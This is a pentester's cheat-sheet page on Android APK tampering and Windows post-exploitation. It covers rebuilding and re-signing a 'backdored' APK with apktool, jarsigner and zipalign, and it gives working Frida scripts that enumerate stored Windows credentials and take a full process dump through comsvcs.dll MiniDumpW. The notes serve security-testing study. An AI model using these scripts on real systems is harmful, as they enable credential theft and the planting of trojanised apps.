# Basic tips ## Getting certificate details from an apk ``` Getting certificate details from an apkkeytool -printcert -jarfile file.apk ``` ## **apktool - decode and compile APK** ``` java -jar .\apktool.jar decode -r 'C:\tmp\xxxxx.apk' (inside the decompiled APK (root)) java -jar ..\apktool.jar build -o c:\tmp\new.apk C:\Tools\android\apk_folder I: Using Apktool 2.5.0 I: Checking whether sources has changed... I: Smaling smali folder into classes.dex... I: Checking whether sources has changed... I: Smaling smali_classes2 folder into classes2.dex... I: Checking whether resources has changed... I: Copying raw resources... I: Copying libs... (/lib) I: Copying libs... (/kotlin) I: Copying libs... (/META-INF/services) I: Building apk file... I: Copying unknown files/dir... I: Built apk... PS C:\Tools\android\> ``` ## Create keystore key ``` cd C:\Program Files\Java\jre1.8.0_251\bin keytool.exe -genkey -v -keystore c:\tmp\.keystore -keyalg RSA -keysize 2040 -validity 365 -alias baws (...) Generating 2,040 bit RSA key pair and self-signed certificate (SHA256withRSA) with a validity of 365 days for: CN=123, OU=123, O=123, L=123, ST=123, C=123 [Storing c:\tmp\.keystore] ``` ## Sign apk with jarsigner Here, you need to use the alias created when you created the keystore file (**baws**, in this case). ``` cd C:\Program Files\AdoptOpenJDK\jdk-11.0.11.9-hotspot\bin jarsigner.exe -sigalg SHA1withRSA -digestalg SHA1 c:\tmp\new.apk baws -keystore C:\tmp\.keystore (...) Enter Passphrase for keystore: jar signed. Warning: The signer's certificate is self-signed. ``` ## Align APK to avoid errors After sign an APK, if you got some erros such as "**Failed to extract native libraries, res=-2]**", probably you need to align the APK. ``` .\adb.exe install C:\tmp\backdored.apk Performing Streamed Install adb: failed to install C:\tmp\backdored.apk: Failure [INSTALL_FAILED_INVALID_APK: Failed to extract native libraries, res=-2] ``` {% hint style="danger" %} Attention: You must use zipalign at one of two specific points in the app building process, depending on the app signing tool you use: * If you use **apksigner**, only run zipalign before signing the apk file. If you sign your APK using apksigner and make other changes to the APK, the signature will be invalidated. * If you use **jarsigner**, only run zipalign after signing the APK file. {% endhint %} As I used jarsigner, my last step is align the APK before installing it. ``` zipalign -p -f -v 4 backdored.apk backdored-aligned.apk --now-- .\adb.exe install C:\tmp\backdored.apk ``` ## Execute target activity via ADB First, check on the **Android-Manifest.xml** file the **package name**. It can be found on the first line of the XML file (*\ .. :innocent: ``` .\adb.exe shell am start com.xxx.xxx.xxx/com.xxx.xxx.v2.ui.dashboard.DashboardActivity ``` ## Add GSM ``` adb shell setprop gsm.operator.numeric 64304 setprop gsm.sim.operator.numeric 64304 setprop gsm.sim.operator.alpha target setprop gsm.operator.alpha target setprop gsm.sim.operator.iso-country us setprop gsm.operator.iso-country us --validate-- getprop |grep gsm ``` ## Frida enumerate users creds (Windows) {% embed url="" %} ``` function EnumerateGenericCredentials(credname){ const CredEnumerate_ptr = Module.getExportByName("advapi32", "CredEnumerateW"); const CredEnumerate = new NativeFunction(CredEnumerate_ptr, "pointer", ["pointer", "int", "pointer", "pointer"]) const count = Memory.alloc(8); const pCredentials = Memory.alloc(8); const ret = CredEnumerate(NULL, 0, count, pCredentials); if(ret){ console.log("Enumerate complete! Found " + count.readInt() + " entries."); for(var i=0; i EnumerateGenericCredentials() Enumerate complete! Found 1 entries. 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 00000000 18 41 e0 1c 37 02 00 00 00 00 00 00 02 00 00 00 .A..7........... 00000010 70 41 e0 1c 37 02 00 00 00 00 00 00 00 00 00 00 pA..7........... 00000020 a8 78 32 15 34 6c d7 01 00 00 00 00 00 00 00 00 .x2.4l.......... 00000030 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 ................ 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050 7e 41 e0 1c 37 02 00 00 00 00 00 00 00 00 00 00 ~A..7........... 00000060 74 00 65 00 73 00 74 00 65 00 31 00 00 00 75 00 t.e.s.t.e.1...u. 00000070 73 00 65 00 72 00 31 00 00 00 00 00 00 00 00 00 s.e.r.1......... 00000080 00 00 00 00 00 00 00 00 1e 88 b1 e6 00 12 00 80 ................ 00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ---2nd example--- [Remote::c:\windows\system32\cmd.exe]-> EnumerateGenericCredentials() Enumerate complete! Found 2 entries. pCredentials=0x1f3e83c2470 Credentials at 0x1f3e6184310 ret: 0x1 teste1:user1:null Credentials at 0x1f3e6184378 ret: 0x1 teste2:user2:pass2 --------------------------------------------- function EnumerateGenericCredentials(credname){ const CredEnumerate_ptr = Module.getExportByName("advapi32", "CredEnumerateA"); const CredEnumerate = new NativeFunction(CredEnumerate_ptr, "pointer", ["pointer", "int", "pointer", "pointer"]) const count = Memory.alloc(Process.pointerSize); const pCredentials = Memory.alloc(256); const ret = CredEnumerate(NULL, 0, count, pCredentials); if(ret){ console.log("Enumerate complete! Found " + count.readInt() + " entries. pCredentials="+pCredentials); for(var i=0; i GetGenericCredentials("teste2") CredReadA is 0x7ffdd7e44e90 Credentials at 0x1f3e83c23e0 ret: 0x1 user2:pass2 ``` ## Frida minidump - Windows ``` function MiniDump(pid, dumpname){ const LoadLibraryW_ptr = Module.getExportByName("kernel32", "LoadLibraryW"); const LoadLibraryW = new NativeFunction(LoadLibraryW_ptr, "int", ["pointer"]); LoadLibraryW(Memory.allocUtf16String("comsvcs.dll")); const MiniDumpW_ptr = Module.getExportByName("comsvcs", "MiniDumpW"); const MiniDumpW = new NativeFunction(MiniDumpW_ptr, "int", ["uint32", "uint32", "pointer"]); const cmd = pid + " " + dumpname + " full"; console.log("Running MiniDump(" + cmd + ")"); MiniDumpW(0, 0, Memory.allocUtf16String(cmd)); } [Remote::c:\windows\system32\cmd.exe]-> MiniDump(108, "c:\\Users\\user\\Desktop\\dump.asd") ``` ## Drozer: Android App enumeration ``` adb install drozer-agent-2.x.x.apk drozer console connect --server 192.168.0.10 ``` ![](https://4052868066-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWd-VcvRHVgUtkahm85%2F-MdP6kI3oMsFCAGKkw7n%2F-MdPJW8XVOE3oOJrikrZ%2Fimage.png?alt=media\&token=e9728321-ffc6-45fc-9b6d-71947117b794) **Basic commands below:** ![](https://4052868066-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWd-VcvRHVgUtkahm85%2F-MdPJehWpbvl507_ruAb%2F-MdPJnH2WAEaeldRcPyi%2Fimage.png?alt=media\&token=819c22af-8929-4765-ac24-c4b357131017) {% embed url="" %}